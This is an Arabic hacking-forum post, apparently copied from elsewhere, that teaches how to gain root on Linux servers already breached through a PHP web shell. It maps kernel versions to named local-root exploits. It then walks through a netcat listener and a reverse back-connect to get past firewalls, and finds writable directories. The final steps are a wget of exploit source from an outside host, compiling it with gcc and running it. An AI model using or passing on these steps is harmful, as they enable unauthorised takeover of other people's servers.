شبكة أنــور سوفت التطويريــة
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.



 
الرئيسيةأحدث الصورالتسجيلدخولتسجيل دخول الاعضاء
نرحب بكل اعضاء وزوار منتديات مدينه الجرافيك نحن سعداء جدا بأن تكون واحد من أسرتنا ونأمل منكـ التواصل بأستمر مرحبا بك يا زائر نتمنى لكم اقامة ممتعة أخر عضو مسجل انور زياية فمرحبا به .. تحياتى لكم جرافيك مان
نرحب بكل اعضاء وزوار منتديات مدينه الجرافيك نحن سعداء جدا بأن تكون واحد من أسرتنا ونأمل منكـ التواصل بأستمر مرحبا بك يا زائر نتمنى لكم اقامة ممتعة أخر عضو مسجل انور زياية فمرحبا به .. تحياتى لكم جرافيك مان



 

  الحصول على صلاحيات root

اذهب الى الأسفل 
كاتب الموضوعرسالة
yassine-dz
مشرفة
مشرفة
yassine-dz


عدد المساهمات : 104
عدد المواضيع : 5911
تاريخ التسجيل : 22/02/2013
العمر : 34
الموقع : ghardaia

 الحصول على صلاحيات root Empty
مُساهمةموضوع: الحصول على صلاحيات root    الحصول على صلاحيات root I_icon_minitimeالإثنين يونيو 17, 2013 9:26 pm

كثيرا ما نسمع عن هذا المصطلح لكن قلة من يفهمه و قادر على استعماله. انشاء الله سنشرح بتعمق و ببساطة هذا المفهوم. على فكرة افضل الشروح للتعلم هي المقالية . بسم الله نبدأ

انظمة GNU/Linux الاكثر انتشارا و استعمالا في ساحة الويب و رغم قوتها الا انها لا تخلو من اخطاء برمجية يستفيد منها الهكر و Local root هو ضعف في نواة لنكس يستتمره الهكر للحصول على صلاحيات root على السرفر . كانت مقدمة بسيطة للتوضيح لمن لا يعرف و الان ندخل في الجد كما قلت Local root هو خطأ برمجي في نواة لنكس للحصول على صلاحيات root - rooting و السيطرة بالكامل على السرفر و لفعل دالك لابد من شروط يجب توفرها الشرط المهم و الاساسي هو ان لا تكون نواة لنكس قد تمت ترقيتها بمعني تم تصحيح الخطأ البرمجي Pateched في هذه الحالة لن يعمل Local root لأن الخطأ البرمجي الذي يستغله قد صحح. كما يلزمنا Safe Mod: OFF لاجل تنفيد بعض الاوامر و في حالة Safe Mod: On هناك طرق عدة لتخطيه ليست موضوعنا في هذا المقال كما لازم اكون لدينا صلاحيات على gcc لاجل ترجمة Local root في حالة انعدام التصريح بالإستعمال
gcc لا يبقى سوى ترجمته على سرفر آخر ورفع الملف المترجم على السرفر المستهدف لكن ذي غالبا مايكون بها مشاكل ربما كثير منكم لم يفهم هذه النقطة و خاصة المبتذئين منكم و الذين ليست لهم دراية بانضمة GNU/Linix لدا سأبسط اكثر ليسهل الفهم , Local root الدي سنستعمل للحصل على صلاحيات root مكتوب بلغة c اي انه كود مصدري لا يمكن استعماله مباشرة لان النظام وهو هنا هو linux لا يفهم هذه اللغة مباشرة من كودها المصدري بل تحتاج الى ترجمة ليتمكن النظام من تشغيله و هذا هو دور gcc اي انه يقوم بترجمة coude source الملفات المصدرية مكتوبة بلغة c إلي ملفات تنفيذية ليتمكن النظام من تنفيدها أعقد أنه واضح Local root مكتوب بلغة c نقوة بترجمته بواسطة gcc للحصول على ملف تنفيذي لكي نتمكن
من تشغيله للحصول على صلاحيات root. ربما منكم من يقول لي لماذا هذا العذاب كله رفع Local root على السرفر تم ترجمته لماذا لا نترجمه على حاسوبي و أحتفظ به كلما إحتجته رفعته مترجم دون وجع راس أو أترجمه على سرفر و أحتفض به كلما إحتجته إستعملته. طيب شوفو معي و سأشرح ببصاطة شديدة، كلنا نعرف الملفات التنفيدية على انظمة وندوز أينما وضعتها تعمل على الوندوز بسبب بسيط هو أن للوندوز تقريبا نفس النواة لجميع الإصدارات وهذا شيء عادي لأن شركة واحدة هى التي تستحوذ عليه ميكروسوفت ومن البديهي أن جميع إصداراتها تكون متوافقة لكن بالنسبة لأنضمة GNU/Linux هناك أكثر من 5 ملايين توزيعة لمئات الشركات لأنه مفتوح المصدر فكل شركة أو منظمة تقوم بالتغير في النواة على حسب متطلباتها و إحتياجاتها لذالك لدينا هذا العدد الهائل من التوزيعات أي هناك ملفات تنفيدية تعمل على توزيعة دون غيرها لذالك نحمل الكود المصدري و نقوم بترجمته
لكي يتلائم مع نظامنا و يعمل دون مشاكل كما ان Local root مرتبط باصدار النواة Karnel فكل إصدار لهLocal root خاص به و هذا ما يوضحه هذا الجدول :
كود PHP:

Kernel Version : Root Exploit

2.2.27
: elfcd1
2.2
.x : ptrace24
2.4.17
: newlocal
2.4.18
: ptrace
2.4.19
: ptrace
2.4.20
: ptrace
2.4.21
: ptrace
2.4.22
-10 : loginx
2.4.22
: ptrace
2.4.23
: hatorihanzo
2.4.24
: mremap_pte
2.4.25
: mremap_pte
2.4.26
: mremap_pte
2.4.27
: mremap_pte
2.4.29
: 1
2.4
.x : ptrace-kmod
2.4 2.6
: pwned
2.6.2
: h00lyshit
2.6.4
: hudo
2.6.5
: h00lyshit
2.6.7
: h00lyshit
2.6.8
: h00lyshit
2.6.9
-34 : h00lyshit
2.6.9
: h00lyshit
2.6.10
: h00lyshit
2.6.11
: k-rad
2.6.12
: binfmt_elf
2.6.13
: h00lyshit
2.6.14
: h00lyshit
2.6.15
: h00lyshit
2.6.16
: h00lyshit
2.6.17
: prct1
2.6
.x : h00lyshit
2.6.17
- 2.6.24.1 : jessica
2.6.23
- 2.6.24 : vmsplice
FreeBSD 4.4
-4.6 : bsd
FreeBSD 4.8
: 48local
FreeBSD 5.3
: exploit ***91;source ***93;~freedbs5.3
Mac OS X
: macosX
RedHat 7.3
: afd-expl
RedHat 8.0
: 0x82-Remote.tannehehe.xpl.c
RedHat 7.0
: crontab
RedHat 7.1
: rh71sm8

أعتقد الآن كل شيء واضح كلنا نعرف الآن Local root بقي لنا كيفية إستعماله ، تابعو معي و إنشاء الله نكمل الشرح.الان اخترقنا موقع و رفعنا الشيل و Safe_mode = Off و كل شيء تمام حلو، الخطوة القادمة معرفة إصدار Karnel إما بواسطة الشيل و أنا أفضل r57 أو نفد عن طريق الشيل الأمر uname - a حصلنا على الإصدار Karnel بقي الحصول على Local root الموافق للإصدار، دور بالنت بتلاقي بلاوي، طيب أنا لقيت Local root للإصدار لعندي مثلا في في هذا الموقع http://www.xxx.com/localroot/h00lyshit.c هناك مواقع حماية كثيرة تقدم لك Local root .الى الان كل شيء تمام الخطوة الثالية عمل Back connect مع السرفر ,في منكم حيتسائل شو قلت Back connect وش ذي كمان، طيب بصط أكثر هي طريقة نخلي السرفر يتصل بنا على بورت معين لتخطي الجدار الناري لسرفر firewall . بإستطاعتنا فتح بورت بالسرفر باستعمال
Binding port و هي خاصية بالشيل تستطيع استعمالها تحدد البورت و passwd و نوع السكريبت المستعمل Perl او c و تعمل Bind و بكدا تكون فتحت بورت بالسرفر و بعين تتصل NetCat بالسرفر لكن في حالة وجود جدار ناري بالسرفر لا نستطيع الإتصال لأنه يعمل block لأي إتصال لغير المنافد المسموح لها لذالك لتخطي هذا المشكل نخلي السرفر هو الذي يتصل بنا و لكن يجب ان يكون ip لجهازك Public Ipاي معروف على مستوى العالم
و ليس Private Ip كموديمات 3G أعتقد انه واضح. طيب لعمل back connect اما عن طريق الشيل ك c99 او r57 او باستعمال backdoor لاسهل الامر بستعمل الشيل و انا بفضل r57. نروح الى Back connection بالشيل هي موجودة بالاسفل في r57 أو clikc على Tools ب c99.


الان نروح على NetCat و نفتح بورت بجهازنا يعني نتنصت على البورت لي غيتصل به السرفر بنا
كود PHP:

nc -n -l -v -p 31373

الان بقي نخلي السرفر يتصل بنا على نفس البورت، نروح على الشيل و في خاصية Back Connect نحط Ip تبعنا و بورت الإتصال و نعمل connect و نروح على Netcat و نشوف Now script try connect to (your ip here) on port 31373... ادا كان كل شيء تمام NetCat ستعطيك shell console على السرفر بصلاحيات محدودة. قد تتسائل لماذا لا ننفد كل هذا من الشيل دون back connect بلا وجع راس، بجاوبك الشيل ينفذ أوامر على النظام باستخدام دوال php اشهرها : shell_exec , system , exec بتكون محدودة من سرفر لآخر يعني أنت لا تنفد أوامر على السرفر مباشرة يعني انت متصل بالسرفر باستعمال البروتكول http يعني مقيد بمجموعة من العوامل كا open_basedir مثلا ادا كانت مفعلة، كان بودي اشرح اكثر لكن مو موضوعنا لدالك نقوم بعمل back conecct كما لو اننا متصلين عن طريق ssh. الان نبحث عن مجلد لرفع Local root لكن بصلاحيات الكتابة، و لفعل دالك ننفد امر للبحث find / -perm -2 -ls او نستخدم tmp فهو يملك هذا التصريح دائما, الان ندخل على المجلد لوجدنا به تصريح الكتابة او ندخل على ملف temp بالامر cd /tmp الان نقوم برفع Local root الموافق لاصدار Karnel بالامر
كود PHP:

wget http://www.xxx/localroot/h00lyshit.c

من shell console دائما نتاكد من ان local Rootقد رفع بتفيد الامر ls ثم نعطيه تصريح 777 باستعمال الامر chmod 777 h00lyshit.c الان نقوم بترجمة Loca root الذي رفعناه بالامر gcc h00lyshit.c -o h00lyshi بعد الترجمة حصلنا على ملف تنفيدي لا يبقى سوى تشغيله للحصول على صلاحيات root بالأمر ./h00lyshit ننتظر قليلا ثم نشوف صلاحيات في حالة عدم الحصول على root فان karnel قد تمت ترقيتها Patched و بذالك دهب كل الشغل في الصفر.

للامانة منقول



 الحصول على صلاحيات root 1
ساعد في نشر والارتقاء بنا عبر مشاركة رأيك في الفيس بوك
الرجوع الى أعلى الصفحة اذهب الى الأسفل
 
الحصول على صلاحيات root
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» الحصول على معجبين ؛ 10 طرق مجانية لكسب المعجبين لصفحات الفيسبوك
»  بعض النصائح المهمة التي تساعدك فى الحصول على أسنان بيضاء :

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
شبكة أنــور سوفت التطويريــة :: ۩ ……۩ |[… أقسام الهكر والإختراق …]| ۩…… ۩ :: إختراق المواقع والسرفرات-
انتقل الى: